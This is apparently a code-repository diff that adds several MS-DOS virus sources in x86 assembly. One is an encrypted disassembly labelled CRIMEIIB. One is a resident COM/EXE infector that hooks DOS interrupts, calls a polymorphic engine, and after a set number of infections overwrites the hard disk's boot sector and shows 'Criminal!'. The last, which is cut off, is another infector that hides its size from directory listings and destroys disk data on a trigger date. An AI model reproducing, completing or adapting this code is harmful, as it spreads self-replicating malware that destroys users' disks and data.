; / | \ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; d r e a m e s

File diff suppressed because it is too large Load Diff
+394
View File
@@ -0,0 +1,394 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ CRIMEIIB ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 31-Jan-91 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_8e equ 20D3h ;*
data_9e equ 28C9h ;*
data_10e equ 3C81h ;*
data_26e equ 8ECDh ;*
data_34e equ 0B7C5h ;*
data_37e equ 0D848h ;*
data_38e equ 0E245h ;*
data_44e equ 0F198h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
crimeIIb proc far
start:
;* jmp loc_2 ;*
db 0E9h,0FFh,0FFh
db 1 ; Data table (indexed access)
db 00h, 99h, 5Eh, 81h,0EEh, 03h
db 01h, 83h,0FEh, 00h, 74h, 1Ch
db 2Eh, 8Ah, 94h, 03h, 01h, 8Dh
loc_3:
mov ax,cs
push es
lea bx,[si+12Ah] ; Load effective addr
sub cx,bx
locloop_4:
mov al,cs:[bx]
xor al,dl
ror dl,1 ; Rotate
mov cs:[bx],al
inc bx
loop locloop_4 ; Loop if cx > 0
mov bh,4Ch ; 'L'
loop $+32h ; Loop if cx > 0
cbw ; Convrt byte to word
iret ; Interrupt return
;* js loc_6 ;*Jump if sign=1
db 78h, 35h
xchg ax,di
retn 3479h
adc al,70h ; 'p'
scasb ; Scan es:[di] for al
xor ax,4C20h
db 66h, 83h, 99h, 30h, 95h, 99h
db 29h, 90h, 48h,0BBh, 1Dh, 04h
db 60h, 1Dh, 11h, 48h, 8Eh, 35h
db 0B7h, 44h,0E2h, 3Bh, 9Eh, 41h
db 0F2h, 7Bh, 9Eh, 78h, 7Ch,0FEh
db 0B8h,0FFh,0A6h, 2Dh, 17h, 14h
db 0C7h, 35h, 98h,0D3h, 5Bh, 33h
db 99h
loc_6:
mov cx,1D6Ch
pop di
dec ax
db 0C8h, 32h, 99h, 5Ch, 8Dh, 3Bh
db 09h,0E2h,0A0h,0B7h, 37h,0CDh
db 67h,0A3h, 72h, 81h,0F6h
locloop_7:
jle loc_3 ; Jump if < or =
;* call far ptr sub_7 ;*
db 9Ah, 63h, 33h, 99h,0CCh
db 67h, 33h, 98h, 3Ch, 99h,0C3h
db 66h,0CCh, 66h, 33h, 99h,0CDh
db 66h,0FEh,0B9h,0CCh
db 64h, 37h
db 99h
db 0CCh, 66h
dw 9931h ; Data table (indexed access)
db 33h, 69h,0CCh, 66h,0CCh, 66h
db 0CDh, 66h,0CCh, 66h,0D3h, 98h
db 0CCh, 66h, 2Fh, 99h,0CCh, 66h
db 26h, 98h,0CEh
db 65h, 33h
locloop_8:
cbw ; Convrt byte to word
xor bp,[bp+si+39h]
cbw ; Convrt byte to word
out 48h,al ; port 48h ??I/O Non-standard
jbe $-3Dh ; Jump if below or =
mov [bp+19h],sp
mov bh,8Fh
sub [bp-67h],di
in al,dx ; port 0, DMA-1 bas&add ch 0
db 66h, 37h, 70h,0CCh, 66h,0B0h
db 67h,0CCh, 13h, 30h, 70h, 1Bh
db 66h, 1Dh, 12h, 48h,0F7h
db 32h,0A4h, 81h, 3Ch
loc_10:
inc si
nop
loop locloop_7 ; Loop if cx > 0
mov bh,16h
int 67h ; ??INT Non-standard interrupt
esc 0,[bp+si+485Ch] ; coprocessor escape
cmc ; Complement carry
sbb ax,6743h
xor dx,[si]
;* jo loc_11 ;*Jump if overflow=1
db 70h,0F7h
xor ah,[bp+si]
int 3 ; Debug breakpoint
db 67h, 8Ah, 97h,0CCh
locloop_12:
in ax,dx ; port 0, DMA-1 bas&add ch 0
db 36h, 10h,0CBh, 25h
db 70h,0DEh, 8Bh, 84h,0C5h,0B7h
db 47h,0E2h,0B0h, 98h,0E2h,0EFh
db 0B7h, 1Ch,0CDh
db 48h,0B8h, 1Dh, 4Bh, 67h, 1Dh
db 10h, 48h,0EFh, 32h,0B7h, 47h
db 0E2h, 94h, 98h,0E2h,0EFh,0B7h
db 12h,0CDh,0D2h, 19h, 54h,0EDh
db 48h, 0Ah, 0Dh, 78h, 67h, 4Fh
db 9Ah, 27h, 19h,0A3h,0B7h,0F6h
db 0E2h, 9Dh, 98h,0B9h, 65h,0D8h
db 0ECh, 5Ch,0EBh,0AFh, 16h,0CEh
db 0DFh, 2Ah, 99h,0E2h,0ECh, 24h
db 19h, 3Eh, 33h, 87h, 9Bh, 01h
db 47h, 70h, 7Bh, 3Fh,0EBh,0AFh
db 51h,0CAh,0DEh, 33h, 98h,0FFh
db 0AFh, 1Dh, 10h,0CBh, 25h, 70h
db 67h, 08h, 27h,0B0h, 60h,0ECh
db 18h,0C0h, 14h, 50h,0AEh, 35h
db 2Ch,0CCh,0DCh,0B3h, 99h, 79h
db 66h, 83h, 99h, 7Dh, 60h,0E1h
db 79h, 46h,0AEh,0B3h, 50h,0CDh
db 0DEh, 33h, 9Ch, 01h, 75h, 41h
db 9Eh, 32h,0A0h,0B3h, 67h,0C5h
db 13h,0D6h, 20h,0C9h, 66h, 87h
db 9Bh, 7Eh, 61h,0FEh,0B8h, 2Eh
db 9Eh,0D8h, 67h, 93h, 3Eh, 22h
db 8Dh,0CDh, 72h, 25h, 9Eh,0D0h
db 7Eh, 23h,0ECh,0D0h, 7Ah, 46h
db 0ECh,0CFh, 7Ah, 34h, 99h,0CAh
db 39h, 6Bh,0C6h, 94h,0D2h, 2Ah
db 54h,0EDh, 48h,0BBh, 1Dh, 09h
db 67h, 87h,0DEh,0FFh,0B4h
db 65h
db 14h, 78h,0AFh, 35h, 54h,0EDh
db 38h
db 1Dh, 5Fh, 48h,0D0h, 32h, 99h
db 24h, 3Bh
locloop_17:
xor dx,[si]
push ax
db 0C9h, 32h,0B7h, 46h,0E2h, 85h
db 98h,0E2h, 98h,0B7h, 2Fh,0CDh
db 0FEh
db 30h
db 41h,0E2h,0ECh, 34h
db 13h, 1Ch, 5Ah,0CCh,0ECh,0CFh
db 8Fh, 1Eh, 9Ah, 4Ch, 9Ch, 32h
db 0ECh,0DCh, 48h,0B9h, 1Dh, 62h
db 67h, 0Fh, 98h,0B8h,0B3h, 0Fh
db 9Bh,0B9h, 65h,0DAh,0A5h, 33h
db 0D2h, 3Dh, 54h,0EDh,0D2h, 74h
db 2Bh,0CCh, 30h,0BEh, 2Dh, 25h
db 60h,0FEh,0B8h, 92h,0DDh, 37h
db 99h,0E2h
db 0ECh, 34h,0A5h,0CFh, 13h, 34h
db 29h,0CCh, 48h,0BBh, 9Eh, 27h
db 0CBh,0DBh, 85h,0CDh, 8Eh,0ABh
db 99h
db 0BFh, 48h,0D8h, 3Ah,0FFh,0A6h
db 2Dh, 17h, 14h,0DDh,0A3h, 99h
db 47h, 21h, 31h,0B7h, 45h,0E2h
db 4Eh, 98h, 47h, 61h, 1Dh, 10h
db 48h, 19h, 32h, 15h, 04h,0EFh
db 74h, 9Bh, 41h,0E2h, 74h, 9Ah
db 45h, 61h, 2Ch, 5Ah, 77h, 62h
db 33h,0B7h, 0Ah, 61h, 30h, 56h
db 75h, 26h, 33h,0CFh, 83h, 29h
db 7Ch, 5Eh,0C9h, 46h, 6Fh, 12h
db 3Fh, 9Ah, 9Fh, 33h, 85h, 5Ah
db 33h,0ECh, 35h, 38h, 87h,0A2h
db 41h,0F2h, 3Bh, 9Eh, 01h, 47h
db 0DBh, 51h,0CCh, 8Eh, 77h, 99h
db 0BFh,0BCh, 87h,0A2h, 41h,0F2h
db 0DBh, 9Fh, 01h, 47h, 1Dh
db 67h, 48h
locloop_21:
retf
xor dh,[bx+di-2]
db 66h, 40h, 9Ah, 25h,0E0h, 31h
db 0B7h, 46h,0E2h, 9Eh, 98h,0F0h
db 66h, 46h, 9Ch, 4Fh,0A5h, 3Ah
db 72h, 7Bh,0D2h, 7Ch,0C9h, 01h
db 47h, 6Bh,0EAh,0CFh, 8Fh, 10h
db 66h, 9Ch,0D2h, 1Ch, 54h,0EDh
db 0E5h,0F0h, 8Ch
db 7Ch, 76h, 1Dh,0A1h,0CBh, 3Eh
db 46h, 7Ch, 32h,0AEh,0D8h
db 41h, 41h,0DAh, 3Ah, 9Eh, 75h
db 5Ch, 33h, 29h,0CCh, 9Ah,0C0h
db 33h, 78h, 21h, 65h,0AAh, 1Eh
db 0EBh, 87h, 90h,0CBh,0ABh, 12h
db 0C7h, 30h,0EBh, 8Fh, 90h,0CBh
db 0DFh, 73h, 99h, 7Ch, 66h,0C1h
db 37h,0B8h, 64h,0CAh, 5Ah, 83h
db 29h,0B9h, 9Ch,0F0h
db 3Ah, 47h
db 9Ah, 8Bh,0D6h, 6Fh,0B7h, 44h
db 63h, 74h, 29h,0E6h, 48h,0BBh
db 9Ch, 8Bh,0D6h, 1Dh,0B7h, 44h
db 63h, 74h, 29h,0E6h, 48h,0BBh
db 9Ch, 8Bh,0EBh,0A7h, 91h,0CBh
db 0D2h, 7Dh, 20h,0DCh, 66h,0FEh
db 0B8h,0BFh, 67h,0F0h, 2Dh,0E3h
db 60h,0FEh,0B8h, 4Fh,0A5h, 26h
db 29h,0DCh
db 40h, 0Bh, 9Eh,0CBh, 13h
db 21h, 61h, 78h, 49h, 35h, 54h
loc_26:
in ax,dx ; port 0, DMA-1 bas&add ch 0
in ax,0F0h ; port 0F0h ??I/O Non-standard
xchg di,[si+48h]
sbb ax,0CBA1h
db 61h, 47h, 98h, 0Fh,0D2h, 7Ch
db 54h,0EDh, 15h,0EBh, 60h, 0Fh
db 0D2h, 7Dh, 20h,0CBh, 66h,0BEh
db 0Dh, 7Bh, 67h,0FEh,0B8h,0BEh
db 77h,0DBh,0B4h,0CCh,0D2h, 7Ch
db 20h,0CBh, 66h,0FEh,0B8h,0BEh
db 63h,0DBh,0B8h,0CCh, 8Dh,0C1h
db 14h, 58h,0DBh, 32h, 2Dh, 82h
db 0DFh, 34h, 99h, 01h, 47h, 41h
db 88h, 24h, 69h, 33h, 2Dh, 83h
db 0DFh, 34h, 99h, 01h, 47h, 41h
db 9Ch, 24h, 65h, 33h, 72h, 3Eh
db 0A5h, 87h,0B6h,0CAh,0ABh, 12h
db 1Ah, 0Fh, 79h, 15h, 13h,0CBh
db 61h, 0Fh,0DBh,0B9h, 67h,0F0h
db 2Dh,0E3h, 60h,0FEh,0B8h, 4Fh
db 0A5h, 25h,0BFh, 47h, 69h,0B0h
db 5Ah,0CEh, 40h,0B8h, 8Eh,0CBh
db 0ECh,0F2h,0BDh, 2Ch,0ECh,0D3h
db 0C8h
db 'uc3K$'
db '?9]'
db 0C8h, 63h, 09h, 58h,0B8h, 63h
db 0B9h, 51h, 27h, 64h,0A3h, 5Ah
db 94h, 3Eh, 62h,0CBh,0D2h, 60h
db 87h,0B6h, 01h, 47h,0BFh, 59h
db 42h,0BEh,0DBh, 8Ah,0CDh,0EDh
db 0E0h, 1Ah, 0Eh, 78h, 8Bh, 9Bh
db 0F1h,0ABh, 12h, 12h, 14h, 61h
db 2Ch, 2Dh,0F3h,0EBh,0A7h, 08h
db 0CDh,0DFh, 2Fh, 99h, 01h, 47h
db 1Dh
db 13h, 68h,0F7h
db 32h,0B7h, 46h,0E2h,0A1h, 98h
db 0F1h, 3Ch, 7Eh,0EDh,0CFh, 8Fh
db 0AAh, 99h,0E2h,0EDh,0B7h, 3Ch
db 0CDh, 48h,0BAh, 1Dh, 4Fh, 67h
db 1Dh, 12h, 48h,0C1h, 32h,0B7h
db 45h,0E2h,0B4h, 98h,0E2h
db 0EDh,0B7h, 0Ch,0CDh, 35h, 00h
db 42h,0FFh,0AFh,0E2h, 49h, 46h
db 0AAh,0E2h, 41h, 4Fh, 9Fh, 33h
db 0EDh,0CAh,0E7h,0F0h, 99h,0DCh
db 84h,0C9h, 28h,0C5h,0B5h,0D3h
db 20h,0C8h, 66h, 1Dh, 12h, 58h
db 0FFh, 32h, 4Ah, 2Eh, 36h, 18h
db 5Bh,0E2h,0EFh,0AFh, 3Eh,0CDh
db 48h,0BAh, 05h
db 53h, 67h
db 1Dh, 10h, 48h,0C3h, 32h, 20h
db 0CCh, 64h, 1Dh, 10h, 40h,0F5h
db 32h, 20h, 32h, 99h, 1Dh, 10h
db 40h,0C7h, 32h,0B7h, 47h,0EAh
db 0A6h, 98h, 4Fh,0A7h, 30h,0B7h
db 45h
locloop_31:
jmp far ptr $-6CB4h
loop $+74h ; Loop if cx > 0
sbb ax,0E28Dh
jc $+4Ch ; Jump if carry Set
mov cx,52B8h
xchg ax,si
esc 6,[bp+di] ; coprocessor escape
esc 3,ds:[12ABh][bx] ; coprocessor escape
;* jno loc_30 ;*Jump if not overflw
db 71h,0C9h
db 67h, 8Bh, 99h, 8Eh, 55h,0FAh
db 0AAh, 1Eh,0ABh, 12h, 2Dh, 8Ch
db 0DFh, 2Fh, 99h, 41h,0F2h,0A2h
db 98h, 01h, 47h,0D8h,0AEh, 5Ch
db 0DEh, 31h,0DBh,0FFh,0AFh, 00h
db 4Bh, 01h, 47h,0DBh, 7Bh,0CCh
db 0DEh, 33h,0DBh,0FFh,0AFh, 00h
db 4Bh, 01h, 47h, 87h,0B6h, 9Fh
db 60h,0FEh,0B8h, 4Fh,0A5h, 29h
db 0BFh, 47h, 61h, 34h,0C2h,0E1h
db 65h, 33h,0B7h, 45h,0E2h,0F4h
db 98h, 78h, 26h, 8Ah, 9Ah,0CCh
db 0EBh,0A7h, 5Fh,0CDh,0ABh, 12h
db 0C3h, 95h,0DEh, 32h,0CEh, 01h
db 47h, 87h,0A7h, 01h, 47h,0DBh
db 0B5h,0CCh,0D2h, 08h, 14h, 58h
db 8Eh, 35h, 54h,0EDh, 8Dh, 09h
db 09h, 78h, 49h, 35h,0CAh
db 01h, 47h,0B8h, 4Ah, 4Fh,0A4h
db 2Dh, 21h,0CCh, 25h,0FEh,0B8h
db 97h, 61h, 1Dh, 10h, 40h,0A5h
db 32h, 18h, 2Dh, 98h, 33h, 21h
db 0CDh, 25h,0FEh,0B8h, 0Fh, 48h
db 0B8h, 15h, 0Fh, 67h, 87h,0B6h
db 0CAh, 35h,0FEh,0B8h, 47h,0B5h
db 0B0h, 5Bh,0D2h,0DEh, 32h,0DAh
db 01h, 47h, 68h, 9Eh, 0Fh,0D2h
db 3Dh
db 0B7h, 46h,0F2h,0F6h, 98h, 01h
db 47h, 87h,0A2h, 41h,0F2h,0FBh
db 9Fh
loc_34:
add [bx-25h],ax
mov word ptr ds:[61CCh],ax
sub al,2Dh ; '-'
db 0D6h,0DCh,0B3h, 99h, 01h, 47h
db 0B8h, 5Fh,0F1h, 66h, 33h,0EDh
db 0EAh, 48h,0B9h, 1Dh, 43h, 67h
db 0Fh, 98h,0B9h, 7Eh, 1Dh, 12h
db 48h,0EFh, 32h,0B7h, 47h,0FAh
db 0B8h, 98h,0C2h, 3Fh, 18h, 52h
db 0CFh,0AEh, 62h,0B7h, 47h,0E2h
db 0B6h, 98h, 9Ch,0ADh, 88h, 99h
db 0CDh, 99h,0D0h
db 2Dh
loc_35:
sub byte ptr [bp+di-55EEh],0Ch
js loc_34 ; Jump if sign=1
inc cx
ja loc_35 ; Jump if above
xor si,word ptr ds:[0E247h][bx]
dec si
cbw ; Convrt byte to word
inc bp
and [bx+di],si
adc cl,[bx+si+19h]
xor dl,[bx+si]
retf
;* jns loc_36 ;*Jump if not sign
db 79h,0F0h
retf 0EA41h
cmp bx,[bp-48B9h]
mov si,5B05h
db 60h, 18h, 52h, 4Fh, 8Fh, 73h
db 0B7h, 46h, 61h,0B4h, 43h,0E2h
db 0EEh, 34h, 1Eh, 16h, 25h, 71h
db 7Bh, 3Eh, 8Dh, 41h, 09h, 24h
db 69h, 33h,0C2h, 41h,0EAh,0FBh
db 9Fh, 41h,0F2h, 33h, 98h,0E7h
db 0ACh, 87h,0D9h, 01h, 47h, 1Dh
db 13h, 58h, 65h, 32h,0CAh, 41h
db 0EAh,0FBh, 9Fh, 41h,0FAh, 19h
db 98h,0E7h,0ADh, 1Dh, 13h,0CBh
db 54h,0F1h, 49h, 06h, 48h,0BBh
db 9Eh, 8Fh, 84h,0C0h,0C2h, 0Fh
crimeIIb endp
seg_a ends
end start
+648
View File
@@ -0,0 +1,648 @@
.8086
.model tiny
.code
virussize equ offset speend - offset start
start:
call $+3
pop si
sub si,3
mov ax,4270h
int 21h
cmp ax,'ww'
jne virsetup
jmp AllreadyInstalled
virsetup:
call virlen
sub word ptr ds:[2],ax
mov bp,word ptr ds:[2]
mov dx,ds
sub bp,dx
push es
mov ah,4ah
mov bx,0ffffh
int 21h
mov ah,4ah
int 21h
dec dx
mov ds,dx
mov ax,word ptr ds:[3]
mov bx,ax
call virlen
sub bx,ax
mov ax,bx
add dx,ax
mov word ptr ds:[3],ax
inc dx
mov es,dx
mov byte ptr es:[0],5ah
mov word ptr es:[1],8
call virlen
mov word ptr es:[3],ax
inc dx
mov es,dx
pop dx
push es
push cs
pop ds
mov cx,virussize
xor di,di
cld
rep movsb
mov si,offset inhigh
push si
mov es,dx
mov ah,4ah
mov bx,bp
int 21h
retf
AllreadyInstalled:
mov bp,si
add si,offset oldbyte
mov ax,word ptr cs:[si]
not ax
cmp ax, not 5A4Dh
je jmp2exe
mov di,100h
push cs
pop ds
push ss di ss
pop es
mov cx,18h
cld
rep movsb
push es
pop ds
call clear_exit
xor bp,bp
retf
jmp2exe:
mov ah,62h
int 21h
mov ds,bx
mov es,bx
add bx,10h
add word ptr cs:[bp+oldbyte+16h],bx
cli
add bx,word ptr cs:[bp+oldbyte+0eh]
mov ss,bx
mov sp,word ptr cs:[bp+oldbyte+10h]
call clear_exit
sti
jmp dword ptr cs:[bp+oldbyte+14h]
clear_exit:
xor ax,ax
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bx,bx
ret
inhigh:
push cs
pop ds
mov word ptr ds:[mycs],cs
mov bx,1
call getint
mov word ptr ds:[v01],di
mov word ptr ds:[v01+2],es
mov bx,1
lea si,ent01
call setint
mov byte ptr ds:[setjmp],0
mov byte ptr ds:[traceok],0
pushf
pop ax
or ah,1
push ax
popf
xor ax,ax
mov ds,ax
mov ah,30h
pushf
call dword ptr ds:[21h*4]
call swapint21
pushf
pop ax
and ah,0feh
push ax
popf
xor si,si
jmp AllreadyInstalled
ent01:
push bp
mov bp,sp
push ax
mov ax,cs
cmp word ptr ss:[bp+4],ax
je exit01
cmp byte ptr cs:[setjmp],1
jne getint21
dec byte ptr cs:[counter]
jnz exit01
call swapint21
mov byte ptr cs:[setjmp],0
jmp restint01
getint21:
cmp byte ptr cs:[traceok],1
je restint01
cmp word ptr ss:[bp+4],0
je exit01
cmp word ptr ss:[bp+4],300h
jnc exit01
mov ax,word ptr ss:[bp+2]
mov word ptr cs:[v21org],ax
mov ax,word ptr ss:[bp+4]
mov word ptr cs:[v21org+2],ax
mov byte ptr cs:[traceok],1
restint01:
and word ptr ss:[bp+6],0feffh
push bx si ds
lds si,dword ptr cs:[v01]
mov bx,1
call setint
pop ds si bx
exit01:
pop ax bp
iret
swapint21:
cli
push ds es di si ax cx
push cs
pop ds
mov cx,5
lea si,jmptome
les di,dword ptr ds:[v21org]
swp:
mov al,byte ptr ds:[si]
xchg al,byte ptr es:[di]
mov byte ptr ds:[si],al
inc di
inc si
loop swp
pop cx ax si di es ds
sti
ret
installed:
call popall
call dos
call swapint21
mov ax,'ww'
retf 2
ent21:
call pushall
call swapint21
cmp ax,4270h
je installed
call set24
cmp ax,4b00h
je infect1
cmp ah,3dh
je infect3d
jmp exit21_2
infect3d:
call checkname
jnc infect1
jmp exit21_2
infect1:
cmp word ptr cs:[infcnt],1313h
jne infcontinue
jmp killer
infcontinue:
mov word ptr cs:[fname],dx
mov word ptr cs:[fname+2],ds
mov ax,4300h
call dos
jnc getattr
jmp exit21_2
getattr:
mov word ptr cs:[attr],cx
mov ax,4301h
xor cx,cx
call dos
jnc setattr
jmp exit21_2
setattr:
mov ax,3d02h
call dos
jnc openf
jmp restoreattr
openf:
xchg ax,bx
push cs
pop ds
mov ax,5700h
call dos
mov word ptr ds:[ftime],cx
mov word ptr ds:[fdate],dx
and cx,1fh
cmp cx,1fh
jne infectcontinue
jmp closefile
infectcontinue:
mov ah,3fh
mov cx,18h
lea dx,oldbyte
call dos
jnc readfile
jmp restoretime
readfile:
mov cx,18h
push cs
pop es
lea di,bytes
lea si,oldbyte
cld
rep movsb
mov ax,word ptr ds:[bytes]
not ax
cmp ax,not 'MZ'
jne chk1
jmp exeinf
chk1:
cmp ax,not 'ZM'
jne comok
jmp exeinf
comok:
mov ax,4202h
xor cx,cx
xor dx,dx
call dos
or dx,dx
jz sizeok1
jmp restoretime
sizeok1:
cmp ax,60000
jb sizeok2
clfile:
jmp restoretime
sizeok2:
cmp ax,1024
jb clfile
mov bp,ax
sub ax,3
mov byte ptr ds:[bytes],0e9h
mov word ptr ds:[bytes+1],ax
add bp,100h
mov ah,1
call rndget
addvirus:
inc word ptr ds:[infcnt]
call calcseg
mov cx,virussize
lea si,start
push bx
call spe
pop bx
push es
pop ds
mov ah,40h
xor dx,dx
call dos
push cs
pop ds
jnc writebody
jmp restoretime
writebody:
mov ax,4200h
xor cx,cx
xor dx,dx
call dos
mov ah,40h
lea dx,bytes
mov cx,18h
call dos
jnc writeheader
jmp restoretime
writeheader:
mov cx,word ptr ds:[ftime]
or cx,1fh
jmp short settim1
restoretime:
mov cx,word ptr ds:[ftime]
settim1:
mov dx,word ptr ds:[fdate]
mov ax,5701h
call dos
closefile:
mov ah,3eh
call dos
restoreattr:
mov ax,4301h
mov cx,word ptr ds:[attr]
lds dx,dword ptr ds:[fname]
call dos
exit21_2:
call restore24
push cs
pop ds
mov bx,1
call getint
mov word ptr ds:[v01],di
mov word ptr ds:[v01+2],es
mov byte ptr ds:[setjmp],1
mov byte ptr ds:[counter],5
lea si,ent01
mov bx,1
call setint
pushf
pop ax
or ah,1
push ax
popf
call popall
jmp dword ptr cs:[v21org]
pushall:
pop word ptr cs:[saveip]
push ax bx cx dx ds es si di bp
jmp word ptr cs:[saveip]
popall:
pop word ptr cs:[saveip]
pop bp di si es ds dx cx bx ax
jmp word ptr cs:[saveip]
exeinf:
mov ax,4202h
xor cx,cx
xor dx,dx
call dos
jnc exeinf1
jmp restoretime
exeinf1:
mov word ptr ds:[flen],ax
mov word ptr ds:[flen+2],dx
push bx
mov bx,10h
div bx
mov bx,word ptr ds:[bytes+8h]
mov word ptr ds:[bytes+14h],dx
mov bp,dx
sub ax,bx
mov word ptr ds:[bytes+16h],ax
mov bx,virussize
mov cl,4
shr bx,cl
inc bx
add ax,bx
mov word ptr ds:[bytes+0eh],ax
mov word ptr ds:[bytes+10h],100h
mov ax,virussize
mov dx,word ptr ds:[flen+2]
add ax,word ptr ds:[flen]
adc dx,0
mov bx,200h
div bx
or dx,dx
jz exeinf2
inc ax
xor dx,dx
exeinf2:
mov word ptr ds:[bytes+4],ax
mov word ptr ds:[bytes+2],dx
pop bx
mov al,1
jmp addvirus
dos:
pushf
db 09ah
v21org dw 0,0
ret
checkname:
mov di,dx
push ds
pop es
mov cx,128
cld
mov al,0
repne scasb
jne error1
mov si,di
sub si,4
lodsw
or ax,2020h
cmp ax,'oc'
je chklast
cmp ax,'xe'
jne error1
chklast:
lodsb
or al,20h
cmp al,'m'
je nameok
cmp al,'e'
je nameok
error1:
stc
ret
nameok:
clc
ret
ent24:
mov al,3
iret
db 'Wild W0rker /DC'
set24:
push bx es di ds si
mov bx,24h
push bx
call getint
mov word ptr cs:[v24],di
mov word ptr cs:[v24+2],es
pop bx
push cs
pop ds
lea si,ent24
call setint
pop si ds di es bx
ret
restore24:
push ds si bx
mov bx,24h
lds si,dword ptr cs:[v24]
call setint
pop bx si ds
ret
; ds:si - int handler
; bx - int number
setint:
cli
push ax es
shl bx,1
shl bx,1
xor ax,ax
mov es,ax
mov word ptr es:[bx],si
mov word ptr es:[bx+2],ds
pop es ax
sti
ret
; bx - int num.
; out: es:di - int handler
getint:
cli
push ax
shl bx,1
shl bx,1
xor ax,ax
mov es,ax
les di,dword ptr es:[bx]
pop ax
ret
calcseg:
push ax
lea si,speend
mov cl,4
shr si,cl
mov ax,es
add ax,si
inc ax
mov es,ax
pop ax
ret
killer:
mov ax,0301h
mov dx,80h
mov cx,1
int 13h
mov ax,3
int 10h
push cs
pop ds
lea si,mes
mov word ptr ds:[pos],160*3
mov bp,word ptr ds:[pos]
call writebig
cli
jmp $
writebig:
xor ax,ax
lodsb
cmp al,255
je nextline
cmp al,0
je endwrt
push ds si
mov si,0f000h
mov ds,si
add si,0a6eh
mov cl,3
shl ax,3
add si,ax
call bigchar
pop si ds
add word ptr ds:[pos],18
jmp writebig
nextline:
mov ax,word ptr ds:[pos]
sub ax,bp
mov bx,160
sub bx,ax
add word ptr ds:[pos],bx
add word ptr ds:[pos],9*160
jmp writebig
endwrt:
ret
bigchar:
mov di,0b800h
mov es,di
mov di,word ptr cs:[pos]
mov cx,8
cycle01:
push cx
lodsb
mov cx,7
cycle02:
push ax
shr al,cl
and al,1
jnz setbit
mov al,32
jmp short printbit
setbit:
mov al,219
printbit:
stosb
inc di
pop ax
loop cycle02
add di,160-14
pop cx
loop cycle01
add word ptr ds:[pos],di
ret
pos dw 0
mes db 'Criminal!',255,'by WW /DC',0
virlen:
push cx
mov ax,offset speend
sub ax,offset start
mov cx,3
shr ax,cl
add ax,10h
pop cx
ret
jmptome db 0eah
dw offset ent21
mycs dw 0
oldbyte dw 18h / 2 dup (20cdh)
bytes dw 18h / 2 dup (20cdh)
v01 dw 0,0
setjmp db 0
counter db 0
saveip dw 0
traceok db 0
fdate dw 0
ftime dw 0
fname dw 0,0
attr dw 0
flen dw 0,0
v24 dw 0,0
infcnt dw 0
extrn spe:near
extrn speend:near
extrn rndget:near
last:
end start
File diff suppressed because it is too large Load Diff
+274
View File
@@ -0,0 +1,274 @@
PAGE 60,132
;
XSEG SEGMENT
; Seg=01387H
; Org=00000H
ASSUME CS:XSEG
XPROC PROC FAR
JMP L6551
DEC BX
PUSH BX
PUSH CX
CALL L0009
L0009: POP SI
SUB SI,+09H
PUSH SI
CLD
MOV DI,0100H
MOV CX,0005H
MOVSB
JMP L01CE
L001A: PUSHF
PUSH CS
CALL WORD PTR CS:[08C0H]
DB 0C3H; RET
STI
CMP AH,4BH
JE L0061
CMP AH,11H
JE L0035
CMP AH,12H
JE L0035
JMP L01C0
L0035: CALL L001A
PUSH AX
PUSH BX
PUSH ES
MOV AH,2FH
CALL L001A
MOV AX,534BH
CMP ES:[BX+1EH],AX
JNE L0050
MOV AX,0254H
SUB ES:[BX+24H],AX
L0050: POP ES
POP BX
POP AX
RET 0002H; 0CAH
L0056: MOV BX,0F200H
MOV CX,0001H
MOV DH,00H
INT 13H
DB 0C3H; RET
L0061: PUSHF
PUSH SS
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
XOR AX,AX
MOV DS,AX
MOV DI,DS:[0194H]
MOV ES,DS:[0196H]
MOV AX,WORD PTR DS:[004CH]
MOV BX,DS:[004EH]
MOV CX,0F000H
MOV DX,0EC59H
MOV DS:[0100H],DX
MOV DS:[0102H],CX
MOV WORD PTR DS:[0198H],AX
MOV DS:[019AH],BX
MOV DS:[004CH],DI
MOV DS:[004EH],ES
PUSH CS
POP DS
PUSH CS
POP ES
MOV AH,19H
CALL L001A
CMP AL,01H
JNBE L00BB
MOV DL,AL
MOV AX,0201H
CALL L0056
MOV AX,0301H
CALL L0056
CMP AH,00H
JNE L00D0
L00BB: MOV AH,2AH
CALL L001A
CMP DX,0401H
JNE L00D3
MOV AX,030FH
MOV DL,80H
CALL L0056
CLI
HLT
L00D0: JMP L01A4
L00D3: MOV AH,2FH
CALL L001A
MOV CS:[08B0H],ES
MOV CS:[08B2H],BX
MOV AH,4EH
MOV DX,0BD5H
MOV CX,0000H
CALL L001A
JB L00D0
L00EF: MOV AX,534BH
CMP ES:[BX+16H],AX
JNE L0101
L00F8: MOV AH,4FH
CALL L001A
JB L00D0
JMP SHORT L00EF
L0101: MOV CX,05DCH
CMP ES:[BX+1AH],CX
JBE L00F8
PUSH ES
POP DS
MOV AX,3D02H
MOV DX,BX
ADD DX,+1EH
CALL L001A
MOV WORD PTR CS:[0C65H],AX
MOV BX,AX
PUSH CS
POP DS
MOV AH,3FH
MOV DX,0A10H
MOV CX,0005H
CALL L001A
MOV DX,5A4DH
CMP DS:[0A10H],DX
JE L019A
MOV DI,0C67H
MOV AL,0E9H
MOV [DI],AL
INC DI
MOV BX,DS:[08B2H]
MOV CX,ES:[BX+1AH]
INC CX
INC CX
MOV [DI],CX
INC DI
INC DI
MOV AX,534BH
MOV [DI],AX
MOV BX,CS:[0C65H]
MOV AX,4200H
XOR CX,CX
XOR DX,DX
CALL L001A
MOV AH,40H
MOV DX,0C67H
MOV CX,0005H
CALL L001A
MOV AX,4202H
XOR CX,CX
XOR DX,DX
CALL L001A
PUSH CS
POP DS
